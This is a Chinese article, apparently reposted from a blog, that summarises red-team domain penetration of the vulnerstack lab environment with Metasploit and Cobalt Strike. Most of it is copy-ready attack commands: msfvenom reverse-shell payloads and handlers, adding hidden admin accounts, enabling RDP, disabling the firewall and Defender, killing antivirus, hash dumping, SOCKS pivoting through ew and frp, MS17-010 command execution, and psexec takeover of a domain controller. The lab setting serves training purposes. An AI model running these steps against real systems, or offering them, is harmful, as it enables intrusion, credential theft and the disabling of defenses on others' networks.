安基网 首页 安全 攻防案例 查看内容

Metasploit和Cobaltstrike内网域渗透分析(实战总结)

2020-7-30 01:05| 投稿: xiaotiger |来自: 互联网


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要: 陆陆续续将vulnstack上面ATT&CK实战系列红队靶场都完成了一遍,收获良多,以前内网渗透方面域渗透的概念较为模糊,经过实战靶场训练,有了初步的认识。掌握了常见的攻击手段、思路、方法以及工具的熟练使用,在此做个总结与大家分享。一、测试环境搭建靶场常见的网络拓扑环境如下:eb服务器安装有双 ...

陆陆续续将vulnstack上面ATT&CK实战系列红队靶场都完成了一遍,收获良多,以前内网渗透方面域渗透的概念较为模糊,经过实战靶场训练,有了初步的认识。掌握了常见的攻击手段、思路、方法以及工具的熟练使用,在此做个总结与大家分享。

一、测试环境搭建

靶场常见的网络拓扑环境如下:


eb服务器安装有双网卡,一块网卡连接互联网,一块网卡连接内网,内网里的机器是无法直接连接互联网的。我们使用vmware来模拟上述环境,配置网卡如下:


我们甚至还可以将web服务器的上网网卡NAT改为自定义VMnet3,将攻击机的网卡也改为VMnet3,这样的好处是整个渗透测试过程既保证了网络都是通的,又保证了ip不会发生变化,利于我们持续的作渗透,ip自定义为我们便于记忆数字,提高我们的效率。(有时候6个以上虚拟机同时开着,时不时忘了ip又得来回切换真的很痛苦)

二、如何拿下web服务器

搭建好测试环境后,第一步是开始对web服务器进行渗透。因为web服务器同时连接了外网和内网,所以必须首先拿下。这里有关web服务器的渗透不展开讲了,无非也就是利用漏洞,诸如:弱口令、上传漏洞、远程代码执行、各种cms漏洞,总之都是可以找到写入webshell的方法。对于靶场来说,最直接的方法就是查找网站的指纹,然后去找对应的漏洞进行利用。成功写入webshell后,接着就要上传木马控制web服务器,这里可以用Metasploit(以下简称:MSF)或Cobaltstrike(以下简称CS)。

用nmap扫描下端口还是很必要的:

nmap -sS -n -A 192.168.167.130

效果还是很不错的,虽然web服务器的防火墙和360都是开着的;


1、MSF生成木马控制服务器的方法

我们以windows木马为例进行讲解:

root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.164.134 LPORT=4444 -f exe > shell.exe


use exploit/multi/handler


set payload windows/x64/meterpreter/reverse_tcp


set lhost 192.168.164.134


set lport 4444


exploit


meterpreter的进入与退出:


常规动作先提权



执行run post/windows/manage/enable_rdp模块来打开远程桌面;


2、CS生成木马控制服务器的方法

启动CS服务器端:


启动CS客户端:

配置好监听器:


生成后门、上传、执行一气呵成;



成功连接,由于受害机默认60秒进行一次回传,为了实验效果我们这里把时间设置成1,sleep 1;


CS安装插件,扩展其功能:


提权成功,可看到多出一个通道:


3、MSF与CS会话互通

因为两个工具不同的特点,想同时使用也是可以的,只需要进行下会话互传。

(1)MSF派生给CS

先创建监听器:


打开msf,使用payloadinject模块注入到cobalt strike,注意使用的payload要和cs的一致为reversehttp,因为cs监听的是reverse_http。

meterpreter > background


msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject # 设置与cs相同的payload;


msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http


msf5 exploit(windows/local/payload_inject) > set lhost 192.168.10.128


msf5 exploit(windows/local/payload_inject) > set lport 4444 # 设置刚才获得session


msf5 exploit(windows/local/payload_inject) > set session 1


msf5 exploit(windows/local/payload_inject) > set disablepayloadhandler true


msf5 exploit(windows/local/payload_inject) > run


(2)CS派生给MSF

这里进行一个操作,将会话分给msf一个;

msf如下操作:


msf > use exploit/multi/handler


msf exploit(handler) > set payload windows/meterpreter/reverse_tcp


payload => windows/meterpreter/reverse_tcp


msf exploit(handler) > set lhost 192.168.164.134


lhost => 192.168.164.134


msf exploit(handler) > set lport 5555


lport => 5555


msf exploit(handler) > exploit


CS这边先新增监听器,然后先增加会话,即spawn:




二、内网的横向移动

打入内网后,首先要进行的就是信息收集,弄清楚内网有哪些网段,域控是哪个,域用户有哪些等重要信息,为后续的渗透提供支持。

1、内网信息收集

(1)dos命令的方式

先进行基本信息的收集:在提权成功的情况下,以system的身份来运行下列命令,大部分都有回显,不会报错;

ipconfig /all 查看本机ip,所在域


route print 打印路由信息


net view 查看局域网内其他主机名


arp -a 查看arp缓存


net start 查看开启了哪些服务


net share 查看开启了哪些共享


net share ipc$ 开启ipc共享


net share c$ 开启c盘共享


net use 192.168.xx.xxipc$ "" /user:"" 与192.168.xx.xx建立空连接


net use 192.168.xx.xxc$ "密码" /user:"用户名" 建立c盘共享


dir 192.168.xx.xxc$user 查看192.168.xx.xx c盘user目录下的文件


net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域


net user 查看本机用户列表


net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器


net user /domain 查看域用户


net localgroup administrators 查看本地管理员组(通常会有域用户)


net view /domain 查看有几个域


net user 用户名 /domain 获取指定域用户的信息


net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)


net group 组名 /domain 查看域中某工作组


net group "domain admins" /domain 查看域管理员的名字


net group "domain computers" /domain 查看域中的其他主机名


net group "doamin controllers" /domain 查看域控制器(可能有多台)


渗透过程中可能用到的dos命令也在这一并讲了:

net user hack hack123 /add


net localgroup administrator hack /add


net localgroup "Remote Desktop Users" hack /add


开启3389;


REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


netsh advfirewall set allprofiles state off #关闭防火墙


net stop windefend


(2)MSF模块信息收集

抓取密码的方法:


ps命令查看进程ID,一般选择explorer.exe对应的PID:


探测域内存活主机:


域控列表:


所有存活主机:



更多的就不一一演示和截图了,以列表的方式提供给大家,在实际渗透中灵活选用:

Post 后渗透模块

run post/windows/manage/migrate #自动进程迁移


run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上


run post/windows/manage/killav #关闭杀毒软件


run post/windows/manage/enable_rdp #开启远程桌面服务


run post/windows/manage/autoroute #查看路由信息


run post/windows/gather/enum_logged_on_users #列举当前登录的用户


run post/windows/gather/enum_applications #列举应用程序


run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码


run post/windows/gather/smart_hashdump #dump出所有用户的hash


run getgui -u hack -p 123


run post/windows/gather/enum_patches 补丁信息


run post/multi/recon/local_exploit_suggester 查询可利用的漏洞


有时候无法使用后渗透模块添加用户


可以使用shell自主添加


net user hack Zyx960706 /add


net localgroup administrator hack /add


netsh advfirewall set allprofiles state off #关闭防火墙


net stop windefend


run post/windows/gather/enum_patches 补丁信息


run post/multi/recon/local_exploit_suggester 查询可利用的漏洞


域内存活主机探测(系统、端口)

auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机


auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机


auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机


auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描(1-10000),如果开放了端口,则说明该主机存活


端口扫描

auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描(1-10000)


auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口


端口扫描有时会使会话终端,所以可以上传nmap后在shell中使用nmap扫描。但是要记得清理


服务扫描

auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口


auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口


auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口


auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口


auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口


auxiliary/scanner/http/title #探测内网http服务的标题


auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口


use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口


use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口


auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口


auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口


auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口


auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口


auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字


(3)CS模块进行信息收集

使用portscan命令:ip网段 — ports端口 — 扫描协议(arp、icmp、none)— 线程(实战不要过高)。

portscan 192.168.52.0/24 445 arp 200


点击工具栏的View–>Targets,查看端口探测后的存活主机。(Targets可自行添加)




抓密码:


这里再介绍一个收集密码工具-LaZagne,每个软件都使用不同的技术(纯文本,API,自定义算法,数据库等)存储其密码,这个工具是用来获取存储在本地计算机上的密码,诸如浏览器密码等等。


2、代理的设置

发现目标后,为方便后续工具的使用,需要先搭建代理,将web服务器搭建成socks5代理服务器,内网渗透里先把网调通是最关键的,所以下面会多讲点代理的问题;

(1)meterpreter搭建反向socks4代理

run getlocalsubnets #查看路由段

run autoroute -s 192.168.52.0/24 #添加路由至本地

run autoroute -p #打印当前路由信息


退出来连接同样是存在的,可以放心操作;


添加路由的目的是为了让MSF其他模块能访问内网的其他主机,即52网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递。

添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务。(添加路由一定要在挂代理之前,因为代理需要用到路由功能)

编辑本地的代理服务:

vim /etc/proxychains.conf





测试一下:

proxychains nmap -p 1-1000 -Pn -sT 192.168.52.141 # -Pn和-sT必须要有


proxychains是无法代理icmp流量的,所以ping是没有用的。

补充一个meterpreter反弹单个端口的用法:

portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听.使用方法如下:

meterpreter > portfwd -h


Usage: portfwd [-h] [add | delete | list | flush] [args]


OPTIONS:


-L The local host to listen on (optional).


-h Help banner.


-l The local port to listen on.


-p The remote port to connect to.


-r The remote host to connect to.


使用实例介绍:

反弹10.1.1.129端口3389到本地2222并监听那么可以使用如下方法:

meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389

[*] Local TCP relay created: 0.0.0.0:2222 <-> 10.1.1.129:3389

meterpreter > portfwd

0: 0.0.0.0:2222 -> 10.1.1.129:3389

1 total local port forwards.

接着连接本地2222端口即可连接受害机器10.1.1.129 3389端口,如下:

root@kali:~# rdesktop 127.1.1.0:2222

(2)ew、frp搭建代理

了解清楚代理的原理之后,还可以用第三方的软件来试试,比如ew,frp;

在这里把kali的攻击机可以理解为公网,web服务器那台理解为内网,下面以ew测试:

kali:./ewforlinux64 -s rcsocks -l 1080 -e 1024 &

该命令的意思是说公网机器监听1080和1024端口。等待攻击者机器访问1080端口,目标机器访问1024端口。

目标机器执行如下命令:

win7:ew.exe -s rssocks -d 192.168.164.134 -e 1024

修改kali里proxychains的配置文件/etc/c.conf:


上面的配置完后,可以开始测试了


利用frp搭建socks代理

上传frp客户端及配置文件到目标机器:



实践当中多用反向代理,正向的容易被防火墙拦住,所以都是将程序的服务器端架在公网,客户端在内网,做横向移动。

(3)CS搭建代理

CS添加一个代理:建立了一条由攻击机到web服务器的socks通道,socks的服务端在攻击机,也是反向代理;


View > Proxy Pivots复制代理链接到MSF中;


msf5 > setg Proxies socks4/5:ip:port #让msf所有模块的流量都通过此代理走。(setg全局设置)

msf5 > setg ReverseAllowProxy true #允许反向代理,通过socks反弹shell,建立双向通道。

这里ip需要修改为CS服务器的ip。

3、域成员和域控的渗透

(1)MSF的利用

开放了445端口,所以利用 use auxiliary/scanner/smb/smb_version 可以扫描系统版本,扫描结果是win2003;


ms08-067没打下来,可以用 use auxiliary/admin/smb/ms17010command 执行一些系统权限的命令,添加管理员用户尝试3389登录;

use auxiliary/admin/smb/ms17_010_command


show options


set rhosts 192.168.52.141


set command net user test hongrisec@2019 /add #添加用户


run #成功执行


set command net localgroup administrators test /add #管理员权限


run #成功执行


set command 'REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'


run #成功执行


远程连接一下:



还可以使用exploit/windows/smb/ms17010psexec 尝试去打一个shell回来:

use exploit/windows/smb/ms17_010_psexec


set rhosts 192.168.52.141


set payload windows/meterpreter/bind_tcp


set lhost 192.168.164.134


set lport 6666


set SMBPass hongrisec@2019


set SMBUser test


run


因为之前抓到了域管理的账号密码所以直接使用exploit/windows/smb/psexec模块拿下域控,且是管理员权限;


还可以使用的模块有:

exploit/windows/smb/ms17_010_eternalblue


exploit/windows/smb/psexec_psh


exploit/windows/smb/eternalblue_doublepulsar


msf木马穿透内网

用msf生成一个内网的木马,此处内网ip10段是不能直接连接192段的;将木马种在内网10段的机器上;

PC服务器内网IP;



web服务器双网卡;


root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.80 LPORT=6677 -f exe > 444.exe


use exploit/multi/handler


set payload windows/x64/meterpreter/reverse_tcp


set lhost 192.168.167.131


set lport 7777


exploit


在web服务器用lcx工具执行端口转发:


在PC端运行木马,然后成功回连;


还可以用msf自带的通道,将路由添加上,其实就已经是通的了;

run getlocalsubnets #查看路由段

run autoroute -s 10.10.10.0/24 #添加路由至本地

run autoroute -p #打印当前路由信息


借用的是session 3的通道,而session 3是双网卡,能通内网的;

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.80 LPORT=6677 -f exe > 444.exe


use exploit/multi/handler


set payload windows/x64/meterpreter/reverse_tcp


set lhost 10.10.10.80


set lport 6677


exploit


在这里复用exploit/multi/handler模块,进行重新设置是可以的,将端口分开使用不要重复;


运行程序后成功上线:两个会话同时存在,没有冲突;


(2)CS的利用

获取凭据后,可以利用psexec传递登录;




在Beacon中可以看到执行的命令,并会显示成功登录的ip,之后就便会上线CobalStrike。这样就控制了多个主机的系统权限。

因为CS的smb的beacon不稳定,所以考虑做个代理;CS代理功能很强大,直接带的有;





于域成员,还可以使用psexec_psh;



至此,整个总结就告一段落了,主要还是集中在了MSF、CS工具的熟练运用,代理的灵活变通,域渗透的基本思路及方法。有关于渗透更多的诸如黄金票据、白银票据的伪造,权限维持等更高阶的内容,将在今后继续深入探讨。

我是安仔,一名刚入职网络安全圈的网安萌新,欢迎关注我,跟我一起成长; 欢迎大家私信回复【入群】,加入安界网大咖交流群,跟我一起交流讨论。

安界网周年庆,cisp考证报名送价值6000元电脑;nisp一级报名送100元现金劵;nisp二级报名送1000元现金劵。更多优惠联系我们。

小白入行网络安全、混迹安全行业找大咖,以及更多成长干货资料,欢迎关注#安界网人才培养计划#、#网络安全在我身边#、@安界人才培养计划



小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:https://www.toutiao.com/a6854362484095058446/

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人
1

路过

鸡蛋

刚表态过的朋友 (1 人)

相关阅读

最新评论

 最新
返回顶部